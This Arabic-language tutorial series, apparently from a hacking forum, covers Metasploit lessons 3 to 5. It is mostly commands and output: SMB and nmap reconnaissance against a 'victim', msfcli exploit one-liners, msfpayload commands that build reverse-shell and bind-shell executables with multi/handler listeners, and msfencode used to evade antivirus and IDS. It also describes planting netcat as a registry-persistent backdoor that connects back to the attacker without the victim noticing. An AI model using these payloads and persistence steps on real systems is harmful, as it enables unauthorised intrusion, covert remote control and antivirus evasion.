شغاله , ففي هذه الحاله نقدر نعرف النظام 100 %

عن طريق الميتاسبلويت مثال :
كود PHP:
msf > use auxiliary/scanner/smb/version
msf auxiliary
(version) > set rhosts 192.168.1.2
rhosts 
=> 192.168.1.2
msf auxiliary
(version) > run [*] 192.168.1.2 is running Windows Vista Ultimate Service Pack 1 (********: Unknown) (****:BANDAR-PC) (domain:WORKGROUP)msf auxiliary(version) >  
اعطاني النظام والاسم والدومين 


لكن خلونا نروح للـ nmap
كود PHP:
msf auxiliary(version) > nmap -PN 192.168.1.2 -p 445 -O[*] execnmap -PN 192.168.1.2 -p 445 -O


Starting Nmap 5.00 
http://nmap.org ) at 2010-01-15 05:45 EST Interesting ports on 192.168.1.2PORT    STATE SERVICE
445
/tcp open  microsoft-ds
MAC Address
00:1D:60:64:06:EC (Asustek ComputerWarningOSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type
general purpose
Running
Microsoft Windows Vista|2008
OS details
Microsoft Windows Vista SP0 or SP1 or Server 2008 SP1
Network Distance
1 hop

OS detection performed
Please report any incorrect results at http://nmap.org/submit/ . Nmap done1 IP address (1 host upscanned in 15.62 seconds  
اعطاني مثل ماتشوفون تخمينات ,


عرفنا كيف نختار الثغره اذا كانت ريموت ,

اذا كان الضحيه ما عنده بورت مفتوح ؟!

نروح لتغرات client-side attacks ,

80 % من النوعيه هذي ناجحه , واذا رجعت لهذه الثغرات راح تخترق , مثل تغرات المتصفح


طيب لو ما اشتغلت هذه الثغرات ,,

تأكد من الخيارات من جديد , تأكد انك وضعت جميع القيم للمتغيرات


خارج الايطار : شغل اداه tcpdump لتعرف ان ادواتك شغاله , مثلا لو استغلينا الثغره والميتاسبلويت توقف فجأه او صار اي شيء , راح تكون مراقب الترافيك وتعرف ,

صراحه انا صارت معي مشكله مع nmap فحص جهاز واخذت ساعه وربع وانا انتظر ,

nmap توقف فجأه وانا ما ادري , اخذت انتظر ثم شغلت tcpdump وعرفت ان الـ nmap

متوقف, لذلك من الافضل قبل تسوي اي هجوم شغل tcpdump لتعرف ان ادواتك شغاله على الوجه الصحيح


المهم نرجع لاهم الاسباب في فشل استغلال الثغرات

1- الضحيه لا يستخدم البرنامج المصاب


بعض المرات يكون البرنامج غير موجود وهذه ليست بالمشكله فهنالك العشرات من الثغرات النختلفه .

2- الجدار الناري يحجب الوصول الى البورت 


بعض البورتات تكون محجوبه وبعضها لا , مثل تغرات SMB تستخدم اكثر من بورت

لذلك حاول تغير بين البورتات .

3- هنالك من يكشف الثغره ويقوم بحجبها مثل IPS 


من الصعب التعامل مع هذه المشكله لكن الافضل هو التعامل مع evasion في الميتاسبلويت

ولا انصح المبتدأ التعامل معها

4- الضحيه ممكن يكون قابل للاستغلال الثغره لكن لم تستغل 


هذه المشكله نادرا ما تحدث , وهي عندما تستغل الثغره , ممكن يصير شيء غير متوقع

وهي مثلا يصير له هانق "يهنق" او مثلا يعيد التشغيل

مره كنت اختبر ثغره جديده , الجهاز لي ما كان لأحد بمعنى اخر اختبر الثغره على جهازي 

جهازي ما حدثته يعني الثغره لازم تشتغل , استغليت الثغره , وفجأه الجهاز وقف عن العمل لذلك

لذلك ممكن بعض المرات تواجهك هذه المشكله

5- الجهاز خلف nat 


هذا اصبح معروف , جميع الاجهزه خلف نات , مافيه اي شخص الا ويستخدم مودم

لذلك يجب التأكد ان البورت مفتوح وايضا تأكد ان تستخدم اتصال عكسي .


SiLv3r00t

v4-team.com

الدرس الخامس : التعامل مع الميتاسبلويت

السلام عليكم ورحمه الله

اليوم درسنا راح يتكلم عن كيفيه التعامل مع واجهات الميتاسبلويت

وهي

1- msfconsole
msfcli -2
msfgui -3
msfw eb -4

msfconsole: هي الواجه المفضله لدي , اولا لانها تتعامل مع سطر الاوامر , ثانيا استخدام اوامر

الليونكس بداخلها , بمعنى اخر بأمكان الفحص والتعامل مع اوامر الليونكس وانت بداخلها .


msfcli : اداه قويه من ناحيه الفكره وسريعه ايضا , بأمكانك استغلال الثغره بدون الدخول الى

msfconsle , استغلال الثغره يتم بسطر واحد , على حسب اعتقادي الاداه هذه

وضعوها ليتم كتابه السكربتات وادواات تستخدم الميتاسبلويت مثل fasttrack


msfgui : الميتاسبلويت بواجه رسوميه ,, لكن لا انصح بها بتاتا اولا الواجهه بطيئه

ثانيا الواجهة ارى ان التعامل معها صعب وايضا ممل 


msfwe b : واجهة رسوميه , لكن افضل من سابقتها , لا افضل استعمالها لانها بطيئه ايضا


راح اشرح msfconsole , msfcli لان بمعرفتهم تعرف كيفيه التعامل مع الاخريات .


1- msfconsole

راح اشرح الاوامر المهمه

1- show

الامر هذا يقصد به اعرض سواء payload encoder nops exploits auxiliary , options all


مثال :
show exploits 
عرض الثغرات

show payloads
عرض payloads

show encoders

عرض encoders

show nops 

عرض nops

show auxiliary

عرض auxiliary

show options

عرض الخيارات

2- use

بمعنى استخدم الثغره او auxiliary

مثال : 
كود PHP:
use exploit/windows/smb/msdns_zone****  
كود PHP:
use auxiliary/scanner/smb/version  
البعض يتسائل كيف احفظ اسم الثغره كامل ؟

ما يحتاج كل الي عليك كتابه use ex ومن ثم اضغط زر Tab على الكيبورد وراح يكمل كل شيء

3- info

عرض معلومات الثغره

مثال :
كود PHP:
info exploit/windows/smb/msdns_zone****  
او
كود PHP:
use exploit/windows/smb/msdns_zone****  
ثم
info 

set -4

بمعنى ضع للمتغير قيمه

مثال

set rhost 192.168.1.3
set payload windows/shell_bind_tcp

connect -5

مثل اداه النت كات

exploit and run -6

exploit تستخدم لتشغيل الثغرات

run يستخدم لتشغيل auxiliary


back -7

العوده للوراء

مثال :
كود PHP:
msf exploit(msdns_zone****) > back
msf 
>  
بقيه الاوامر راح تكتشفها مع الاستخدام بأذن الله


نروح لطريقه استخدام الثغره

استخدامها سهل ما تتعدا خمس اوامر 
كود PHP:
اسم الثغره useshow option

ليتم عرض المتغيرات

اسم المتغير set

exploit  
بعض الخيارات المخفيه حين اختيار الثغره .

show advanced
show evasion 


ما انصح بتغيير خياراتهم الا اذا كنت فاهم المطلوب لان من كل ثغره لثغره تختلف , وبعض المرات

الثغره ما تشتغل الا بعد تعديل بعض الخيارات طبعا هذا بناء على جهاز ضحيتك ,

show targets

عرض الاهداف التي تشتغل الثغره عليها


نروح للاداه الاخرى msfcli

نروح لكيفيه الاستخدام

استخدامها سهل جدا وعن طريق سطر واحد

كود PHP:
Usage: ./msfcli <exploit_****> <option=value> [mode]
====================================================

    
Mode           Description
    
----           -----------
    (
H)elp         Youre looking at it baby!
    (
S)ummary      Show information about this module
    
(O)ptions      Show available options for this module
    
(A)dvanced     Show available advanced options for this module
    
(I)DS Evasion  Show available ids evasion options for this module
    
(P)ayloads     Show available payloads for this module
    
(T)argets      Show available targets for this exploit module
    
(AC)tions      Show available actions for this auxiliary module
    
(C)heck        Run the check routine of the selected module
    
(E)xecute      Execute the selected module  
S = ملعومات الثغره

O = خيارات الثغره

ِE = تشغيل الثغره

= عرض بايلود الخاصه

مثال لاستغلال ثغره
كود PHP:
./msfcli exploit/windows/***  payload=windows/meterpreter/** rhost=A.B.C.D lhost=1.1.1.1  
بدال ما نكتب داخل msfconsole
كود PHP:
set rhost a.b.c.d

set payload windows
/****  
نضع
rhost=
payload=

هذا الشرح كمختصر بأمكانك التطبيق


انا عندي تطبيق قديم اسمه hacking the ip first guide مسويه قبل سنه

كانت عندي سلسله لكن طارت 

تابع التطبيق , ومن ثم يأتي وقت السؤال

ملاحظه : اهم شيء التطبيق للثغره


بعد ما تابعنا الفديو جاء وقت السؤال لكن هذا السؤال لتشغيل المخ , وممكن تصير اكثر من اجابه صح

في الفديو وضعنا النت كات كباك دور ومن ثم سجلناه بالريجستري عشان كل مره يشغل الجهاز يتصل على اي بي المهاجم

انا الان بشبكه داخليه وتعرفون ان الشبكه الداخليه ممكن يتغير اي بي بتاعك حين تفصل الاتصال من المودم
ا
او بأي طريق اخرى , طيب حين تفصل ممكن واحد يأخذ اي بي بتاعك , بكل تأكيد راح يطير الضحيه 

انا ما ابي اثبت الاي بي بتاعي داخل الشبكه , لذلك نحتاج اتصال مباشر بمعنى اخر انا اللي اتصل بالضحيه مش الضحيه اللي يبي يتصل بي 

لكن المشكله ان اي شخص غيري يقدر يتصل بعد لان اتصال مباشر

كيف اخلي الضحيه خاص بي بمعنى اخر انا اللي ابغى اتصل لوحدي ولا ابي احد يتصل معي 

وايضا ما ابي اخلي الضحيه يشك 

انا ابغى ناس تفكر مش تفتح القوقل وتبحث :-)


SiLv3r00t

V4-team.com


الدرس الرابع : استخدام msfencode , msfpayload

السلام عليكم ورحمه الله وبركاته

اليوم درسنآ يكمل الدرس السابق .

1- msfpayload

msfencode -2


msfpayload : اداه مهمه لعمل الـ shellcode

الجميل في الامر ان بأمكانك عمل نفس shellcode لكن بصيغ مختلفه

سواء ja va scrip t ,perl ,C ,exe,ruby, raw, VBA 
طريقه عمله .
كود PHP:
./msfpayload payload var=val  
payload = اسم البايلود

var =المتغيرات مثلا lport ويعني البورت الخاص بالمهاجم

كيف نعرف متغيرات الـ payload ؟

نعرفها عن طريق الامر

كود PHP:
 ./msfpayload windows/shell/reverse_tcp  O  
الصوره تتكلم .



local portlport
البورت الخاص بالمهاجم ,
local host = lhost
ip الخاص بالمهاجم

خذها قاعده بدون تفكير دائما اي البايلود يستخدم اتصال عكسي reverse يحتاج lhost,lport

bind_shell
الحصول على شل بأتصال مباشر

reverse_shell
الحصول على شل بأتصال عكسي

الان نعمل تطبيق .
كود PHP:
 ./msfpayload windows/shell/reverse_tcp lhost=192.168.1.3 C  
[/QUOTE]



الان راح نعمل ملفات exe للاختراق بأستخدام msfpayload ,

البعض يتسائل يقول لماذا استخدم msfpayload لعمل ملفات exe وانا عندي shell access

صحيح عندك شل لكن الشل هذا حصلته عن طريق ثغره خارج الميتاسبلويت , الثغره تطلب مساحه معينه من الـshellcode صغيره بحيث ما تقبل meterpreter , vncinjectطبعا الان ما فيه الا حل واحد وهو تحميل meterpreter , بكل تأكيد راح يكون exe

كيف نعمله على صيغه exe , بأستخدام mfspayload .

مثال لعمل exe
كود PHP:
./msfpayload windows/shell/reverse_tcp LHOST=192.168.1.3 X reverse.exe  

طريقه التنصت للاتصال

./
كود PHP:
msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=192.168.1.3 E  
msfcli راح اشرحها بدرس القادم .


مثال اخر
كود PHP:
./msfpayload windows/shell_bind_tcp LPORT=4444 X listen.exe  
الان راح نستخدم netcat

nc -vn 192.168.1.2 4444

~~~~~~~~~~~~~~~~

msfencode : اداه تستخدم لتشفير shellcode لتخطي IDS او AV


كود PHP:
Usage: ./msfencode <options>OPTIONS:

    -
<opt>  The architecture to encode as
    -
<opt>  The list of characters to avoid'\x00\xff'
    
-<opt>  The number of times to encode the data
    
-<opt>  The encoder to use
    -
h        Help banner
    
-<opt>  Encode the contents of the supplied file path
    
-l        List available encoders
    
-<opt>  Specifies an additional module search path
    
-n        Dump encoder information
    
-<opt>  The output file
    
-<opt>  The platform to encode for
    -
<opt>  The maximum size of the encoded data
    
-<opt>  The format to display the encoded buffer
    
-<opt>  Specify an alternate win32 executable template  

الاداه واضحه جدا لكن راح تنشرح , والشرح راح يكون فديو

قبل مده انا وجدت فديو جميل جدا ويتكلم عن هذه الاداه وكيفيه تخطي

مضاد الفيروسات لمده 24 دقيقه والشرح على الوندوز . 

http://vimeo.com/7969055


الان بقى الواجهات
1-msfconsole
msfcli -2
msfgui -3
msfwe b -4


وراح يتم التطرق لها بالدرس القادم .



قبل ما انتهي , راح اعمل اختبار سريع لـ أتأكد انك متابع الدروس معاي وفاهم جميع الدروس ! 
لماذا لم استخدم msfcli في هذا المثال , مع اني استطيع استخدامه ؟
كود PHP:
./msfpayload windows/shell_bind_tcp LPORT=4444 X listen.exe  
الان راح نستخدم netcat

nc -vn 192.168.1.2 4444

ولماذا > متعوب عليها 

استخدمت الاداه msfcli ,واستخدامها الزامي بمعنى اخر ما تتخلى عنها الا اذا عملت نفس الشيء msfconsole وجميعا مثل بعض !


كود PHP:
./msfpayload windows/shell/reverse_tcp LHOST=192.168.1.3 X reverse.exe  

طريقه التنصت للاتصال

./
كود PHP:
msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=192.168.1.3 E  

الجواب راح تلقونه بالدروس السابقه اذا كنت متابع 

hint: الجواب 5 كلمات 

SiLv3r00t
V4-team.com

الدرس الثالث: ادوات الميتاسبلويت

السلام عليكم ورحمه الله وبركاته

اليوم راح ناخذ درس اسهل من الدرس السابق لانه سطحي

ولا يحتاج الى جهد الموضوع فقط للاستفاده وايضا اخذ خلفيه

عن هذه الادوات لكي لا يكون هنالك تساؤل اخر الدوره .

الدرس هذا حاولت ادمجه مع الدروس الاخرى لكن بلا جدوى

لانها بالحقيقه تحتاج دوره دوره لوحدها بعنوان اكتشاف الثغرات واستغلالها .

وذلك لان اغلبيتها تساعدك بأستغلال الثغرات ووضع اهداف جديده

مثلا , لدينا ثغره تشتغل على Windows xp sp1 , بأستخدامmsfpescan

بالامكان جعل الثغره تشتغل على Windows XP SP2 & SP1

وذلك بالعمل اليدوي .

طبعا هذه تستلزم خبره لاكتشاف الثغرات , لذلك دائما مشروع الميتاسبلويت مهم لمكتشفي الثغرات من الدرجه الاولى

والسبب الاول سهوله كتابة الثغرات وقوه التحكم في payload


مثلا شوفوا هالثغره كم سطر + البساطه 




ندخل على مسار الميتاسبلويت ونستعرض الملفات




msfpescan -1
msfelfscan -2
msfmachscan -3

جميعها تقوم بفحص الملفات الثنائيه (binary)

بأمكانه ايجاد CALLs, JMPs, or POP/POP/RET instruction sets

طبعا هي مفيده لتسهيل كتابه استغلال الثغرات .


لكن ما الفرق بينهم

1- msfpescan : يستخدم لفحص ملفات DLLs او المكتبات المشتركه اوexe لأيجاد عناوين العوده وما ذكر من قبل .

2- msfelfscan : لفحص ملفات التطبيقيه في الليونكس والتي هي ملفاتهاelf

msfmachscan -3 : لفحص ملفات التطبيقيه في الماك .

نذهب الى الاداه msfopcode

msf opcode
وهي ما يقصد بها operation code وتعني رمز العمليه

تعريفه (حسب معرفتي) : هو جزء من اوامر لغه الاسمبلي مثال "MOV"

يحدد العمليه التي ستنفذ .

msfopcode متصل مع قاعده البيانات التي تحوي على رموز العمليات بموقع الميتاسبلويت , الاداه لا تشتغل لكن سيحدثونها

وترجع عما قريب
http://www.m3tasploit.com/users/opcode/disabled.html

غير 3 = e

طبعا من حسن الحظ انني كتبت موضوع قبل سنه واكثر على ما اظن

يتكلم عن كيفيه استخدام رمز العمليه لجعل الثغره تشتغل

ومن حسن الحظ كان الشرح فديو ومرفوع على مساحه خاصه بي

شاهد الفديو على اليوتوب ,, درجه الصفاوه ضعيفه 

قبل المشاهده 




راح نلاحظ الثغره ما تشتغل , لكن مع البحث في قاعده بيانات الميتاسبلويت راح تشتغل على الثغره ,

صاحب الثغره سهل علينا الامر وكتب رمز العمليه jmp esi عادتا الشغل يكون يدوي .

البعض راح يستغرب كيف عرفت ان الجهاز Windows XP sp 1 or sp 2

انا فحصت الهدف بتاعي بـ nmap واتضح ان الجهاز يشتغل على Win xp اماsp 1 or sp 2

الثغره تشتغل على sp 1 وحين تم استغلالها لم يحدث شيء , بمعنى ان نظام الهدف Win xp sp2
ولاحظوا كيف كتبته بالعكس , طبعا كتبته بالعكس لانها تدخل في عالم الاسمبلي 

الثغره : http://milw0rm.com/exploits/3925

الجانب الجيد ان الميتاسبلويت مفتوح المصدر , لذلك بأمكانك التعديل على الثغرات التي بداخله .




شاهده على HQ


خارج الايطار : الله ايام الستايل القديم لموقع الميتاسبلويت لكن الفديو كوم وبتهوفن

كوم , اتوقع اني فصلت علي بتهوفن ذاك اليوم


انتهينا من ثلاثه ادوات مهمه لمن اختصاصه ايجاد الثغرات واستغلالها

نذهب الى باقي الادوات .

1- msfrpcd
msfrpc -2

الاول يعمل خادم لتشغيل الميتاسبلويت اما الثاني العميل , طبعا يستخدم برتوكولXMLRPC

انا صراحه ما انصح استعمالها لانها مثل الاكسسوارات :-)

msfd عمل سيرفر ليتم الاتصال به وتشغيل الميتاسبلويت

لاحظو بالصوره دخلت على msfconsole عن طريق اداه النت كات

كود PHP:
root@silv3r00t-hacker:/pentest/exploits/framework3# ./msfd -hUsagemsfd <options>OPTIONS:

    -
<opt>  Specify list of hosts allowed to connect
    
-<opt>  Specify list of hosts not allowed to connect
    
-<opt>  Bind to this IP address instead of loopback
    
-f        Run the daemon in the foreground
    
-h        Help banner
    
-<opt>  Bind to this port instead of 55554
    
-s        Use SSL  
A
السماح للايبيات التاليه .

B
حظر الايبيات التاليه .

a
وضع الاي بي الخاص بك بدل من loopback واللذي هو 127.0.0.1

f
تشغيل الخدمه لكن ليست بشكل خفي , بدون هذا الخيار الميتاسبلويت راح يشتغل لكن في البروسيس ولا راح يكون بيّن للمستخدم .

h

مساعده



وضع البورت الذي سيتصل العميل عن طريقه .


s

استخدام تشفير SSL

بقي الان 6 ادوات وهي
1- msfconsole
msfcli -2
msfpayload -3
msfgui -4
msfw eb -5
msfencoder -6
سنتحدث عنها بدروس قادمه

Share:

Unordered List

Theme Support